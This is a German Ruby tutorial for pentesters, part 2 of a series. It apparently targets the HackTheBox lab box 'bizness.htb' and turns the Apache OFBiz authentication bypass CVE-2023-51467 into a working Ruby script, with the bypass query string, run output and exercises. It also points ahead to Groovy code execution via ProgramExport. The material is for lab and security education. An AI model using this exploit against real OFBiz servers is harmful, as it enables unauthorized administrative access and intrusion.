// Ruby für Pentester · Teil 2
Am Login vorbeispazieren
OFBiz hat einen Authentifizierungs-Bypass (CVE-2023-51467). Wir gießen ihn in eine wiederverwendbare Ruby-Methode, lernen, wie Funktionen und Konstanten funktionieren, und bestätigen, dass wir am Login vorbei sind.
In Teil 1 haben wir die Box als Apache OFBiz fingerabgedruckt. Das ist wichtig, weil OFBiz einen weithin bekannten Authentifizierungs-Bypass hat, CVE-2023-51467. Dieser Teil verwandelt den Bypass in eine saubere Ruby-Methode — und nebenbei lernst du, wie man Code in wiederverwendbare Funktionen packt, statt in ein langes Skript.
Der Fehler in einer Zeile
OFBiz sperrt sein Admin-Werkzeug hinter /webtools/control/<screen>. Der Bypass
ist fast albern: häng ?USERNAME=&PASSWORD=&requirePasswordChange=Y an jede
dieser URLs. Leere Zugangsdaten plus das „Passwort muss geändert werden”-Flag
bringen die Anfrage in einen Zustand, in dem OFBiz die Auth-Prüfung überspringt,
statt sie fehlschlagen zu lassen. Es hängt nicht an einem Endpoint — es
funktioniert auf jedem Screen hinter dem Gate.
Der sauberste Weg, zu beweisen, dass wir durch sind, ist der ping-Screen,
der nur einem authentifizierten Aufrufer mit PONG antwortet.
Wiederhol dich nicht: eine Methode
In Teil 1 haben wir die ganze Anfrage inline geschrieben. Jetzt machen wir viele
Anfragen, also packen wir sie einmal ein. Eine Methode (Rubys Wort für eine
Funktion) wird mit def definiert:
def get(path)
uri = URI("#{BASE}#{path}")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
http.get(uri.request_uri)
end
def get(path)beginnt eine Methode namensget, die einen Parameter nimmt,path. Alles bis zum passendenendist ihr Rumpf.- Eine Methode gibt ihren letzten Ausdruck automatisch zurück — kein
return-Schlüsselwort nötig. Hier ist die letzte Zeilehttp.get(...), also reicht der Aufrufget('/x')das Response-Objekt zurück. uri.request_uriist der Pfad plus Query-String (z. B./ping?USERNAME=...), genau das, wasNet::HTTP#getwill.
Konstanten für die festen Teile
Die Basis-URL und der Bypass-String ändern sich nie, also zieh sie als Konstanten heraus — Namen, die mit einem Großbuchstaben beginnen:
BASE = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
Ruby behandelt jeden Bezeichner, der mit einem Großbuchstaben beginnt, als
Konstante. Sie lesen sich gut in der Interpolation ("#{BASE}#{path}") und
signalisieren „das ist Konfiguration, keine Wegwerf-Variable”.
Alles zusammen
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
BASE = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
def get(path)
uri = URI("#{BASE}#{path}")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
http.get(uri.request_uri)
end
response = get("/webtools/control/ping?#{BYPASS}")
if response.body.include?('PONG')
puts '[+] Auth bypass works — we are past the login gate'
else
puts '[-] No PONG; the bypass did not take'
end
Führ es aus:
$ ruby bypass.rb
[+] Auth bypass works — we are past the login gate
PONG kam zurück. Auf einem ungepatchten OFBiz soll diese Antwort einen Login
verlangen — sie mit leeren Zugangsdaten zu bekommen, ist die ganze
Schwachstelle. Wir haben jetzt einen authentifizierten Blick auf den
Web-Tools-Kontext, ohne je ein Passwort zu kennen.
Eine Methode, die mit ja oder nein antwortet
Dieses if/else vermischt zwei Aufgaben: zu entscheiden, ob wir durch sind,
und darüber zu berichten. Zieh die Entscheidung in ihre eigene Methode. Per
Konvention wird eine Ruby-Methode, die true/false zurückgibt, mit einem
abschließenden ? benannt — ein Prädikat:
def bypassed?
res = get("/webtools/control/ping?#{BYPASS}")
res.code == '200' && res.body.include?('PONG')
end
puts bypassed? ? '[+] past the login gate' : '[-] bypass did not take'
Hier steckt viel idiomatisches Ruby drin:
- Das
?ist ein echter Teil des Methodennamens — Ruby erlaubt das, und es signalisiert „ich beantworte eine Ja/Nein-Frage”. Du siehst es auch bei eingebauten Methoden:include?,nil?,empty?. res.codeist der HTTP-Status als String ('200'), also vergleichen wir ihn mit==.&&ist boolesches und; die Methode gibt diesen ganzen Ausdruck zurück, da eine Methode ihre letzte Zeile zurückgibt.bypassed? ? a : bist der ternäre Operator —Bedingung ? wenn_wahr : wenn_falsch— ein kompaktesif/else, das einen Wert liefert. (Ja, das erste?gehört zum Methodennamen und das zweite ist der ternäre Operator; Ruby liest das problemlos.)
Jetzt ist „sind wir drin?” ein wiederverwendbarer, selbstbeschreibender Aufruf statt einer Wand aus Anfrage-und-Prüf-Code.
Warum die Methode zählt
Beachte, was uns das Schreiben von get eingebracht hat: von hier an ist jeder
Screen ein Einzeiler — get("/webtools/control/whatever?#{BYPASS}"). Im
nächsten Teil fügen wir eine zweite Methode für POST-Anfragen hinzu und nutzen
genau dasselbe Muster, um einen Screen zu erreichen, der Code ausführt. Kleine,
benannte Methoden sind, wie aus einem Wegwerf-Skript ein echtes Werkzeug wird,
ohne zu Spaghetti zu verkommen.
Erkenntnisse
- Methoden (
def name(args) ... end) packen wiederverwendbares Verhalten ein; eine Methode gibt ihren letzten Ausdruck automatisch zurück. - Konstanten (großgeschriebene Namen) halten die feste Konfiguration und
lesen sich sauber innerhalb der
"#{...}"-Interpolation. - Eine Methode mit abschließendem
?ist ein Prädikat, das einen Boolean zurückgibt;&&verknüpft Bedingungen undcond ? a : b(der ternäre Operator) wählt einen Wert. - CVE-2023-51467 ist ein Auth-Bypass:
?USERNAME=&PASSWORD=&requirePasswordChange=Yauf jedem/webtools/control/-Screen überspringt die Login-Prüfung.ping, dasPONGzurückgibt, beweist, dass du durch bist.
Übungen
- Zieh eine Methode
screen(name)heraus, die"/webtools/control/#{name}?#{BYPASS}"zurückgibt, und schreib dieping-Anfrage so um, dass sie sie aufruft. Eine Methode, jeder Screen. - Gib
bypassed?einen Default-Parameter —def bypassed?(screen = 'ping')—, sodass du jeden Screen per Name sondieren kannst und er trotzdem aufpingvoreingestellt bleibt. - Füge das gegenteilige Prädikat
patched?hinzu, das!bypassed?zurückgibt. Die Verneinung zu benennen liest sich an der Aufrufstelle oft besser als ein bloßes!.
Weiter — Teil 3: Wir richten denselben Bypass auf OFBiz’
ProgramExport-Screen, POSTen einen Groovy-Payload und bekommen unsere erste
Codeausführung auf der Box.